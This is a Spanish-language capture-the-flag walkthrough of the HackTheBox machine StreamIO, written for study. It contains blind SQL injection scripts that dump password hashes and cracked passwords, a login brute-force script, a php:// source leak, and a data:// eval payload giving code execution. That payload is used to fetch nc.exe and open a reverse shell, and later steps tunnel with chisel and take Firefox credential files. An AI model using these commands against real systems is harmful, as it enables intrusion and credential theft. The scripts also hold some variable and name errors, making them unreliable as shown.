Resolución de Máquina: StreamIO

Husky
Escrito por Husky el
Resolución de Máquina: StreamIO

Máquina Windows de dificultad Medium(Media). Jugaremos con inyecciones SQL a una gran base de datos ( llenas de películas de dudosa procedencia ) en donde veremos muchas contraseñas cifradas, unos lindos scripts para “ahorrar tiempo”, filtros en base 64, Directorio Activo, y con el confiable Winpeas y su fiel BloodHound para guiarnos a agregar un usuario a un grupo para poder de esa forma, cambiar la contraseña del Administrador ( de forma parcial ).

Clasificación de la Máquina según las Personas

Daremos muchas vueltas en circulos, acercandonos a la realidad y un poquito más de vueltas.

Como para omitirselo,¿No?…

  1. Reconocimiento

  2. Enumeración Básica
  3. Explotación
  4. Escalada de Privilegio

Bien comenzemos!!!

Reconocimiento+

Empezamos con un escaneo tipico de puertos con nmap por TCP, ya que necesitamos información

❯ nmap -p- -v 10.10.11.158
Parámetros Funcionalidad
-p- Realiza escaneos en todos los puertos, los 65535 puertos
-v Nos da más información mientras escanea los puertos

Nos reporta que se han encontrado muchos puertos:

Puerto Ocupación
53 DNS(Servicio de nombres de dominio): Se utiliza para el/los servidor/es DNS
80 HTTP: Es un servidor web
88 Kerberos: Es un protocolo para la autenticación de usuarios y recursos dentro de una red Windows
135 - 593 MSRPC(Microsoft Remote Procedure Call): Es un servicio que permite a otros sistemas para descubrir qué servicios se anuncian en una máquina
139 - 445 NetBIOS: Es un Sistema básico de entrada y salida de red
389 - 636 - 3268 - 3269 LDAP(Protocolo de Acceso Ligero a Directorios):Es un protocolo de aplicación que permite que las aplicaciones accedan y autentiquen información específica del usuario en los servicios de directorio
443 HTTPS: Es un servidor web que utiliza un cifrado seguro para la comunicación
5985 WinRM(Administración Remota de Windows): Es un protocolo de conexión remota que nos permite realizar tareas en la máquina

Y Blah Blah Blah, el resto no nos servirán.

❯ nmap -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49669,49670,49698,54910 -sCV 10.10.11.158
Parámetros Funcionalidad
-p Realiza escaneos sobre los puertos dados
-sC Lanza scripts básicos sobre los puertos
-sV Permite revelar nombre o versión del servidor

Dá mucha información sobre los puertos, pero en resumen:

Puerto Servicio Observaciones
53 DOMAIN Simple DNS Plus
80 HTTP Microsoft IIS httpd 10.0
88 KERBEROS-SEC Microsoft Windows Kerberos
135 - 593 MSRPC Microsoft Windows RPC
139 - 445 NetBIOS-SSN Microsoft Windows netbios-ssn
389 - 636 - 3268 - 3269 LDAP Microsoft Windows Active Directory LDAP
443 SSL/HTTP Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP), Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
464 KPASSWD5? [Nada]
593 NCACN_HTTP Microsoft Windows RPC over HTTP 1.0
5985 HTTP Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Enumeración Básica+

Antes de lanzarnos para la página web veamos si podemos conseguir algo con los otros puertos

Vemos el puerto 139 y 445 con crackmapexec con smb podemos ver que versión Windows son estamos enfrentando

❯ crackmapexec smb 10.10.11.158
SMB   10.10.11.158   445   DC   [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)

Tenemos un dominio streamio.htb y su nombre de controlador de dominio(DC), tambien vemos que el smb esta firmardo

Agregamos la dirección ip ‘10.10.11.158’ y a su lado el Dominio ‘streamio.htb’ y ‘dc.streamio.htb’ al /etc/hosts

El término Hosting Virtual se refiere a hacer funcionar más de un sitio web (tales como www.contoso.com y www.contoso2.com) en una sola máquina. Los sitios web virtuales pueden estar «basados en direcciones IP», lo que significa que cada sitio web tiene una dirección IP diferente, o «basados en nombres diferentes», lo que significa que con una sola dirección IP están funcionando sitios web con diferentes nombres (de dominio).

Siguiendo con Samba, probemos otras herramientas, como smbclient

❯ smbclient -N -L 10.10.11.158
session setup failed: NT_STATUS_ACCESS_DENIED

Pero no podemos acceder sin proporcionale datos

Vemos que el puerto 389, 636, 3268 y 3269 estan disponibles asi que, vamos a ver si nos deja listar algunos recursos sin autenticarnos

❯ ldapsearch -x -H ldap://10.10.11.158

# search result
search: 2
result: 1 Operations error

Parece que no es por aqui el camino…

Vamos a ver que tal la página por el puerto 80

IIS(Internet Informtaion Services) y poca cosa hay aqui…

.

Y tambien tiene el puerto 443 disponible, veamos si es bonita la página

Mediante la dirección ip no nos deja, veamos con el dominio que encontramos con crackmapexec

.

Confiamos en HackTheBox y “Hacemos una excepción con este sitio web”

.

Una página para ver peliculas en internet, interesante, y vemos un “Login” es la esquina

Bueno, no tenemos credenciales y nos podemos registrar… o intentar unas Injecciones SQL, para ellos nos vamos a HackTricks para ver cuales posibles caracteres a intentar y ver si funcionan o seguimos otro camino

Veamos si el panel en los dos campos, ‘Username’ y ‘Password’ son vulnerables, para ello le pediremos a la web que tarde 5 segundos en responder, de lo contrario, probaremos otro metodo

admin[Nada] or sleep(5)-- -
admin[Nada] and sleep(5)-- -

admin' or sleep(5)-- -
admin' and sleep(5)-- -

admin" or sleep(5)-- -
admin" and sleep(5)-- -

admin` or sleep(5)-- -
admin` and sleep(5)-- -

admin') or sleep(5)-- -
admin') and sleep(5)-- -

admin") or sleep(5)-- -
admin") and sleep(5)-- -

admin`) or sleep(5)-- -
admin`) and sleep(5)-- -

admin')) or sleep(5)-- -
admin')) and sleep(5)-- -

admin")) or sleep(5)-- - 
admin")) and sleep(5)-- -

admin`)) or sleep(5)-- -
admin`)) and sleep(5)-- -

Vaya ninguna funciona, intentemos alternativas relacionada al ‘SLEEP’ como ‘WAITFOR DELAY’

admin' waitfor delay'0:0:5'-- -

Esto hace que la web tarde 5 segundos en responder, y …

Funciona!!! podemos ahora enumerar las columnas actualmente en uso

admin' order by 1,2,3,4 waitfor delay '0:0:5'-- -

Existen 4 columnas, pero no vemos que nos reporte ningún error en la página web

Tocara hacerlo a ciegas y basandonos en el tiempo de respuesta de la página

Basandonos en el siguien argumento, podemos enumerar las bases de datos ordenas por nombres

if (select substring(name,1,1) from sys.databases order by name offset 0 rows fetch next 1 row only)='m' waitfor delay'0:0:5'

Script en Python +

Para no repetir y cambiando cada rato el número y el caracter , podemos automatizarlo con un script hecho en python

#!/usr/bin/python3

from pwn import *
import requests
import pdb
import string
import time
import urllib3

#Variables Globales
ip_address = "https://streamio.htb/login.php"
caracter = string.ascii_lowercase

def sqlinyección():
    
    p1 = log.progress("Fuerza Bruta")
    p1.status("Fuerza Bruta")

    p2 = log.progress("Base de Datos")

    Databases = ""
    
    for columna in range(0, 10):
        for posición in range(1, 10):
            for palabras in caracter:
                
                urllib3.disable_warnings()

				payload = "if (select substring(name, %d, 1) from sys.databases order by name offset %d rows fetch next 1 row only)='%c' waitfor delay'0:0:5'--" % (posición, columna, palabras)

                post_data = {
	                'username': "admin'%s" % (payload),
                    'password': 'admin'
                }

                p1.status(post_data['username'])
                
                
                time.start = time.time()
                r = requests.post(ip_address, data=post_data, verify=False)
                time.end = time.time()

                if time.end - time.start > 5:
                    
                    Databases += palabra
                    
                    p2.status(Databases)
                    
                    break
        Databases += ', '

if __name__ == "__main__":
    sqlinyección()

Con este metodo podemos extraer las Bases de Datos:

master, model, msdb, streamio, streamio, tempdb

Vemos que funcionar funciona, ahora tocara listar las columnas para ello retocamos el script en el ‘payload’

Con el siguiente argumento podemos listar las columnas actualmente en uso:

if(select substring(table_name,1,1) from information_schema.tables order by table_name offset 1 rows fetch next 1 row only)='m' waitfor delay'0:0:5'

Cambiamos el ‘payload’ por el de arriba y lo ajustamos a la situación:

#!/usr/bin/python3

from pwn import *
import requests
import pdb
import string
import time
import urllib3

#Variables Globales
ip_address = "https://streamio.htb/login.php"
caracter = string.ascii_lowercase

def sqlinyeccon():
    
    p1 = log.progress("Fuerza Bruta")
    p1.status("Fuerza Bruta")

    p2 = log.progress("Nombre de Tablas")

    Tablas = ""
    
    for columna in range(0, 10):
        for posición in range(1, 10):
            for palabras in caracter:
                
                urllib3.disable_warnings()

				payload = "if(select substring(table_name,%d,1) from information_schema.tables order by table_name offset %d rows fetch next 1 row only)='%c' waitfor delay'0:0:5'--" % (posicion, columna, palabras)
                
                post_data = {
                    'username': "admin'%s" % (payload),
                    'password': 'admin'
                }

                p1.status(post_data['username'])
                
                
                time.start = time.time()
                r = requests.post(ip_address, data=post_data, verify=False)
                time.end = time.time()

                if time.end - time.start > 5:
                    
                    Tablas += palabra
                    
                    p2.status(Tablas)
                    
                    break
        Tablas += ', '

if __name__ == "__main__":
    sqlinyeccion()

Siguiendo el mismo metodo obtenemos las Tablas:

movies, users

Se ve tentador la Tabla users

Ahora para las Columnas de la Tabla users modificamos un poco el argumento y le agregamos el nombre de la Tabla a “escanear”:

if(select substring(column_name,1,1) from information_schema.columns where table_name='TABLE_NAME' order by column_name offset 1 rows fetch next 1 row only)='m' waitfor delay'0:0:5'

Hacemos lo mismo que antes, cambiamos el ‘payload’

#!/usr/bin/python3

from pwn import *
import requests
import pdb
import string
import time
import urllib3

#Variables Globales
ip_address = "https://streamio.htb/login.php"
caracter = string.ascii_lowercase + string.punctuation

def sqlinyeccon():
    
    p1 = log.progress("Fuerza Bruta")
    p1.status("Fuerza Bruta")

    p2 = log.progress("Nombre de columnas")

    Columnas = ""
    
    for columna in range(0, 30):
        for posición in range(0, 32):
            for palabras in caracter:
                
                urllib3.disable_warnings()

				payload = "if(select substring(column_name,%d,1) from information_schema.columns where table_name='users' order by column_name offset %d rows fetch next 1 row only)='%c' waitfor delay'0:0:5'--" % (posición, columna, palabras)
                
                post_data = {
                    'username': "admin'%s" % (payload),
                    'password': 'admin'
                }

                p1.status(post_data['username'])
                
                
                time.start = time.time()
                r = requests.post(ip_address, data=post_data, verify=False)
                time.end = time.time()

                if time.end - time.start > 5:
                    
                    Columnas += palabra
                    
                    p2.status(Columnas)
                    
                    break
        Columnas += ', '

if __name__ == "__main__":
    sqlinyeccion()

Extraemos las siguientes columnas:

id, is_staff, password, username

Ahora que pinta mas interesante cambiamos un poco el script del ‘payload’ para dar con los usuario y contraseñas:

if(select substring(COLUMN_NAME,1,1) from TABLA_NAME order by COLUMN_NAME offset 1 rows fetch next 1 row only)='m' waitfor delay'0:0:5'

Y por una última vez cambiamos el ‘payload’

#!/usr/bin/python3

from pwn import *
import requests
import pdb
import string
import time
import urllib3

#Variables Globales
ip_address = "https://streamio.htb/login.php"
caracter = string.ascii_lowercase + string.punctuation

def sqlinyeccon():
    
    p1 = log.progress("Fuerza Bruta")
    p1.status("Fuerza Bruta")

    p2 = log.progress("Descripción")

    Contenido = ""
    
    for columna in range(0, 30):
        for posición in range(0, 32):
            for palabras in caracter:
                
                urllib3.disable_warnings()

				payload = "if(select substring(username,%d,1) from users order by id offset %d rows fetch next 1 row only)='%c' waitfor delay'0:0:5'--" % (posición, columna, palabras)
                
                post_data = {
                    'username': "admin'%s" % (payload),
                    'password': 'admin'
                }

                p1.status(post_data['username'])
                
                
                time.start = time.time()
                r = requests.post(ip_address, data=post_data, verify=False)
                time.end = time.time()

                if time.end - time.start > 5:
                    
                    Contenido += palabra
                    
                    p2.status(Contenido)
                    
                    break
        Contenido += ', '

if __name__ == "__main__":
    sqlinyeccion()

Cambiando dentro de ‘payload’ el ‘username’ por ‘password’, obtenemos las contraseñas como hash md5

Sabiendo los nombre de usuarios, pasamos a revelar las contraseñas

username password
James c660060492d9edcaa8332d89c99c9239
Theodore 925e5408ecb67aea449373d668b7359e
Samantha 083ffae904143c4796e464dac33c1f7d
Lauren 08344b85b329d7efd611b7a7743e8a09
William d62be0dc82071bccc1322d64ec5b6c51
Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
Robert f03b910e2bd0313a23fdd7575f34a694
Thane 3577c47eb1e12c8ba021611e1280753c
Carmon 35394484d89fcfdb3c5e447fe749d213
Barry 54c88b2dbd7b1a84012fabc1a4c73415
Oliver fd78db29173a5cf701bd69027cb9bf6b
Michelle b83439b16f844bd6ffe35c02fe21b3c0
Gloria 0cfaaaafb559f081df2befbe66686de0
Victoria b22abb47a02b52d5dfa27fb0b534f693
Alexendra 1c2b3d8270321140e5153f6637d3ee53
Baxter 22ee218331afd081b0dcd8115284bae3
Clara ef8f3d30a856cf166fb8215aca93e9ff
Barbra 3961548825e3e21df5646cafe11c6c76
Lenord ee0b8a0937abd60c2882eacb2f8dc49f
Austin 0049ac57646627b8d7aeaccf8b6a936f
Garfield 8097cedd612cc37c29db152b6e9edbd3
Juliette 6dcd87740abb64edfa36d170f0d5450d
Victor bf55e15b119860a6e6b5a164377da719
Lucifer 7df45a9e3de3863807c026ba48e55fb3
Bruno 2a4e2cf22dd8fcb45adcb91be1e22ae8
Diablo ec33265e5fc8c2f1b0c137bb7b3632b5
Robin dc332fb5576e9631c9dae83f194f8e70
Stan 384463526d288edcc95fc3701e523bc7
yoshihide b779ba15cedfd22a023c4d8bcf5f2332
admin 665a50ac9eaa781e4f7f04199db97a11

Tenemos los nombres y sus hashes, podemos crackearlos de manera local o usando páginas para esto.

En mi caso useare el confiable John the Ripper

john -w:$(locate -r 'rockyou.txt$') hashes --format=raw-md5
...[snip]...
Loaded 30 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
...[snip]...

highschoolmusical (Thane)
physics69i        (Lenord)
paddpadd          (admin)
66boysandgirls..  (yoshihide)
%$clara           (Clara)
$monique$1991$    (Bruno)
$hadoW            (Barry)
$3xybitch         (Juliette)
##123a8j8w5123##  (Lauren)
!?Love?!123       (Michelle)
!5psycho8!        (Victoria)
!!sabrina$        (Sabrina)

...[snip]...

Ahora con credenciales, no se si son validas para el login con respecto al usuario

Primero para no perder tiempo nos sercioramos que si alguna credencial es valida para ver recursos compartidos a nivel de red:

❯ crackmapexec smb 10.10.11.158 -u user.txt -p pass.txt
SMB         10.10.11.158    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.158    445    DC               [-] streamIO.htb\[user.txt]:[pass.txt] STATUS_LOGON_FAILURE 
...[snip]...

Ninguna para Samba es correcta

Script en Bash +

Asi que, porque no hacer un pequeño script en bash para agilizar la jugada en el panel de login

Almacenamos todos los nombres en user.txt y las contraseñas reveladas en pass.txt (todos en una sola linea y separada por un espacio) y ejecutamos el siguiente script de bash:

#!/bin/bash

  for user in $(cat user.txt);do
    for pass in $(cat pass.txt);do
      bash -c "curl -s -X POST \"https://streamio.htb/login.php\" -d \"username=$user&password=$pass\" -k | grep 'Login failed'"
 &>/dev/null 
	  sleep 0
      if [[ $? != 0 ]];then
        echo "La credencial correcta es = $user : $pass"
        exit 0
	   else 
	    echo "No es correcta = $user : $pass"
      fi
done
done

Si todo va bien, el codigo de estado sera exitoso(0) cuando encuentre la credencial correcta

Y vemos que ‘yoshihide’es un usuario que coincide con la contraseña ‘66boysandgirls..’

En el panel de login introducimos las credenciales, y nos iniciar seción pero…

No veo ninguna configuración, vamos a buscar directorios.

Yo útilizare WFUZZ

❯ wfuzz -c -t 100 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt https://streamio.htb/FUZZ

Target: https://streamio.htb/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                          
=====================================================================

000000002:   301        1 L      10 W       151 Ch      "images"                                                                                                                                                                                  
000000245:   301        1 L      10 W       150 Ch      "admin" 
...[snip]...

Vemos un directorio “admin”, veamos que se esconde

Hay un panel simple, pero cualquier enlace nos da una URL por el metodo GET

Por lo que, ya que usamos WFUZZ para los directorios, lo haremos devuelta pero con el lugar siguiente del interrogante final ?, pero para FUZZEAR por “admin” tendremos que arrastrar la cookie de sessión

❯ wfuzz -c -t 100 --hh=1678 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "https://streamio.htb/admin/?FUZZ=" -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a"

Target: https://streamio.htb/admin/?FUZZ=
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                          
=====================================================================

000000111:   200        62 L     160 W      2073 Ch     "user"                                                                                           
000000231:   200        398 L    916 W      12484 Ch    "staff"                                                                                          
000001047:   200        10790    25878 W    320235 Ch   "movie"                                                                                                                                                                                  
000005697:   200        49 L     137 W      1712 Ch     "debug"

Existe el parametro “debug”, pero es solo para programadores

Ahora intentemos FUZZEAR por algun archivo o argumento

❯ wfuzz -c --hh=1712 -w /usr/share/SecLists/Discovery/Web-Content/SVNDigger/cat/Language/php.txt -u "https://streamio.htb/admin/?debug=FUZZ" -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a"

Target: https://streamio.htb/admin/?debug=FUZZ
Total requests: 20721

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                          
=====================================================================

000000186:   200        46 L     136 W      1693 Ch     "index.php"                                                                                      
000005319:   200        11182    26760 W    343443 Ch   "master.php" 

Dos archivos index.php y master.php, pero nos sigue diciendo que solo los programadores pueder verlo

Probamos algunos filtros como los siguientes:

php://filter/convert.base64-encode/resource=index.php Lo representa en Base64

php://filter/convert.base64_encode/resource=index.php Devuelve todo el contenido y lo interpreta en la página 

Es más comodo que lo represente en base64 para que de nuestro lado sea más fácil de expresar

Nos devuelve todo el codigo fuente del index.php en base64, lo deciframos y lo almacenamos en un archivo

❯ echo "onlyPD9waHA ...[snip]... C9odG1sPg==" | base64 -d > index.php

Las primeras lineas del index.php vemos una definición en php y vemos un usuario y una contraseña en “texto plano” para la base de datos

<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
    header('HTTP/1.1 403 Forbidden');
    die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);

?>

Pero, como no tenemos acceso a la base de datos no nos servira, por ahora

Hacemos exactamente lo mismo pero en vez de index.php ponemos master.php

<h1>Movie managment</h1>
<?php
if(!defined('included'))
    die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

..[snip]...

<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>

Vemos que existe una definición ‘include’ en las lineas finlas del codigo fuente de master.php

Explotación +

Mirando este articulo se puede provocar un LFI(local file include)

Usaré el cifrado en base64 para ver si funcioná

❯ echo "c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==" | base64 -d
system($_GET['cmd']);

https://streamio.htb/admin/?include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==&cmd=whoami

Probamos y vemos que no funciona asi, veamos desde la terminal

❯ curl -s -X POST 'https://streamio.htb/admin/?include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==&cmd=whoami' -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a" -k | grep streamio ; echo $?
1

El codigo de estado de la respuesta es un 1, osea no exitoso

Cambiamos el metodo por enviar data por POST como un binario en base64

❯ curl -s --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==" 'https://streamio.htb/admin/?cmd=whoami' -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a" -k | grep streamio ; echo $?
1

Despues de muchos intentos, pude dar con el problema

El ‘include’ solo se aprecia en el master.php por ende la cadena en base64 la estoy enviando a master.php

❯ curl -s --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" "https://streamio.htb/admin/?debug=master.php&cmd=whoami" -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a" -k |grep streamio
streamio\yoshihide

Tenemos un RCE

Ahora le podemos cargar el netcat y lo ejecutamos para ganar acceso a la máquina

Nos ponemos en escucha por un puerto donde este el netcat.exe

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Le cargamos el netcat.exe y lo depositamos en un directorio común que tengamos acceso

❯ curl -s --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" "https://streamio.htb/admin/?debug=master.php&cmd=curl+http://10.10.14.10/nc.exe+-o+c:/windows/temp/nc.exe" -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a" -k |grep streamio

Nos ponemos en escucha con netcat en nuestro equipo para recibir la consola interactiva

❯ rlwrap nc -nvlp 6060

Interpretamos el netcat para que nos de la consola

❯ curl -s --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" "https://streamio.htb/admin/?debug=master.php&cmd=c:/windows/temp/nc.exe+-e+cmd+10.10.14.10+6060" -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a" -k |grep streamio

Primer acercamiento a la Máquina +

Ya entramos en la máquina!!

Connection from 10.10.11.158:49948
Microsoft Windows [Version 10.0.17763.2928]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\streamio.htb\admin>whoami
whoami
streamio\yoshihide

No tardaremos muchos en saber que no podemos hacer mucho con este usuario, aúnque hay una base de datos

PS C:\inetpub\streamio.htb\admin> netstat -nat | select-string 'tcp'
netstat -nat | select-string 'tcp'

...[snip]...
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       InHost
...[snip]...
  TCP    10.10.11.158:1433      10.10.11.158:60029     ESTABLISHED     InHost
...[snip]...
  TCP    [::]:1433              [::]:0                 LISTENING       InHost
...[snip]...

Esta abierto el puerto 1433 internamente (se veia venir)

Le cargamos el chisel.exe para que nuestro puerto 1433 se convierta en el puerto 1433 de la máquina

Abrimos un servidor compartido en python3 para ofrecer el chisel.exe

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Y en la máquina lo descargamos

PS C:\inetpub\streamio.htb\admin> curl http://10.10.14.50/chisel.exe -o C:/Windows/Temp/chisel.exe
PS C:\inetpub\streamio.htb\admin> 

Primero nos ponemos en escucha en un puerto de forma reversa

❯ ./chisel server --reverse --host 10.10.14.10 -p 8999
2022/09/14 15:10:10 server: Reverse tunnelling enabled
2022/09/14 15:10:10 server: Fingerprint IN043BV4GbFXRvRufBpQQUNrCv3a0xL7/uoOSBZrDU=
2022/09/14 15:10:10 server: Listening on http://10.10.14.10:8999

Ponemos la ruta absoluda del chisel.exe y seguimos los parametros indicados

PS C:\inetpub\streamio.htb\admin> C:/Windows/Temp/chisel.exe client 10.10.14.50:1236 R:1433:10.10.11.158:1433
c:/windows/temp/chisel.exe client 10.10.14.10:8999 R:1433:10.10.11.158:1433
2022/09/14 15:15:15 client: Connecting to ws://10.10.14.10:8999
2022/09/14 15:15:15 client: Connected (Latency 100ms)

Listo tenemos su puerto 1433 y por ende la base de datos

❯ lsof -i:1433
COMMAND   PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
chisel  51401 husky    9u  IPv6 365972      0t0  TCP *:ms-sql-s (LISTEN)

Base de datos “Local” +

Teniendo su puerto de forma local y posibles credenciales de la base de datos que nos revela index.php, podemos usar mssqlclient.py para ver que contiene o si oculta algo

❯ mssqlclient.py streamio/db_admin:'B1@hx31234567890'@localhost
Impacket v0.10.1.dev1 - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC): Line 1: Changed database context to 'master'.
[*] INFO(DC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL> 

Ahora podemos ver toda la base de datos

SQL> select name from sys.databases
name                                                                                                                               

-------------------------------------------------------

master                                                                                                                             

tempdb                                                                                                                             

model                                                                                                                              

msdb                                                                                                                               

STREAMIO                                                                                                                           

streamio_backup                                                                                                                    

SQL> use streamio_backup

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: streamio_backup
[*] INFO(DC): Line 1: Changed database context to 'streamio_backup'.

SQL> select table_name from information_schema.tables
table_name                                                                                                                         

--------------------------------------------------------  

movies                                                                                                                             

users                                                                                                                              

SQL> select column_name from information_schema.columns where table_name='users'
column_name                                                                                                                        

--------------------------------------------------------   

id                                                                                                                                 

username                                                                                                                           

password                                                                                                                           

SQL> select username,password from users
username                password                                             

----------------------- --------------------------------   

nikk37                  389d14cb8e4e9b94b137deb1caf0612a                     

...[snip]...  

Un Usuario escondido +

Vemos otras bases de datos como ‘streamio_backup’, en ella tambien se oculta un usuario ‘nikk37’ que no lo hemos visto en el primer reconocimiento

Crackeamos el nuevo hash para ver la contraseña:

❯ john -w:$(locate -r 'rockyou.txt$') hash --format=raw-md5
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
get_dem_girls2@yahoo.com (nikk37)

Verificamos si el usuario y esa contraseña se reutiliza con el resto con crackmapexec:

❯ crackmapexec smb 10.10.11.158 -u user.txt -p 'get_dem_girls2@yahoo.com'
SMB         10.10.11.158    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.158    445    DC               [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com 

Y es valida para Samba, ahora veamos si tiene habilitado la administración remota de usuario

❯ crackmapexec winrm 10.10.11.158 -u 'nikk37' -p 'get_dem_girls2@yahoo.com' --continue-on-success
SMB         10.10.11.158    5985   NONE             [*] None (name:10.10.11.158) (domain:None)
HTTP        10.10.11.158    5985   NONE             [*] http://10.10.11.158:5985/wsman
WINRM       10.10.11.158    5985   NONE             [+] None\nikk37:get_dem_girls2@yahoo.com (Pwn3d!)

Lo tiene, entonces podemos conectarnos de forma remota con Evil-WinRM

❯ evil-winrm -i 10.10.11.158 -u 'nikk37' -p 'get_dem_girls2@yahoo.com'

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\nikk37\Documents> whoami
streamio\nikk37

Escalada de Privilegios +

Mirando lo básico del usuario no disponemos de mucho, veamos que nos reporta WinPeas.exe, como estamos usando Evil-WinRM podemos usar el comando que tiene incluido para subir archivos upload

*Evil-WinRM* PS C:\Users\nikk37\Documents> upload /opt/winpeas.exe
Info: Uploading /opt/winpeas.exe to C:\Users\nikk37\Documents\winpeas.exe

                                                             
Data: 2581844 bytes of 2581844 bytes copied

Info: Upload successful!

Antes de ejecutarlo, existen ciertas ocasiones en las que, al reportar tanta información se pierde en el trayecto, tendremos que almacenarlo en un archivo para analizarlo con calma

Con smbserver.py podemos compartir un recurso a nivel de red que este sincronizado con nuestro directorio actual, y como es windows 10 hay que dar el soporte a la versión de Samba

❯ smbserver.py carpeta $(pwd) -smb2support
Impacket v0.10.1.dev1 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Ahora con total seguridad, lo ejecutamos y lo enviamos al recurso compartido y esperamos a que termine

*Evil-WinRM* PS C:\Users\nikk37\Documents> ./winpeas.exe > \\10.10.14.10\carpeta\winpeas.txt

Una vez que termine miramos lo que descubrio Winpeas.exe

                ((((((((((((((((((((((((((((((((
         (((((((((((((((((((((((((((((((((((((((((((
       ((((((((((((((**********/##########.((((((((((((   
     (((((((((((/********************/#######.((((((((((
     (((((((.******************/@@@@@/****######.(((((((((
     (((((.********************@@@@@@@@@@/***,####.(((((((((
     ((((.********************/@@@@@%@@@@/********##(((((((((
     .((############*********/%@@@@@@@@@/************.(((((((
     .(##################(/******/@@@@@/***************.(((((
     .(#########################(/**********************.((((
     .(##############################(/*****************.((((
     .(###################################(/************.((((
     .(#######################################(*********.((((
     .(#######(,.***.,(###################(..***.*******.((((
     .(#######*(#####((##################((######/(*****.((((
     .(###################(/***********(##############().((((
     .((#####################/*******(################)((((((
     .(((############################################).(((((
     ..(((##########################################).((((((
     ....((########################################).((((((
     ......((####################################).(((((((
     (((((((((#################################).((((((((
         (((((((((/##########################).((((((((
               ((((((((((((((((((((((((((((((((((((((
                  ((((((((((((((((((((((((((((((

...[snip]...

ÉÍÍÍÍÍÍÍÍÍ͹ Looking for Firefox DBs
È  https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history
    Firefox credentials file exists at C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
È Run SharpWeb (https://github.com/djhohnstein/SharpWeb)

...[snip]...

Vemos que existen accesos a Firefox con inicios de seciones, con Evil-WinRM podemos descargar los archivos importantes donde esta las credenciales guardadas.

*Evil-WinRM* PS C:\Users\nikk37\Documents> download c:/users/nikk37/appdata/roaming/mozilla/firefox/profiles/br53rxeg.default-release/key4.db /opt/streamio/key4.db
Info: Downloading c:/users/nikk37/appdata/roaming/mozilla/firefox/profiles/br53rxeg.default-release/key4.db to /opt/StreamIO/key4.db

                                                             
Info: Download successful!


*Evil-WinRM* PS C:\Users\nikk37\Documents> download c:/users/nikk37/appdata/roaming/mozilla/firefox/profiles/br53rxeg.default-release/logins.json /opt/streamio/logins.json
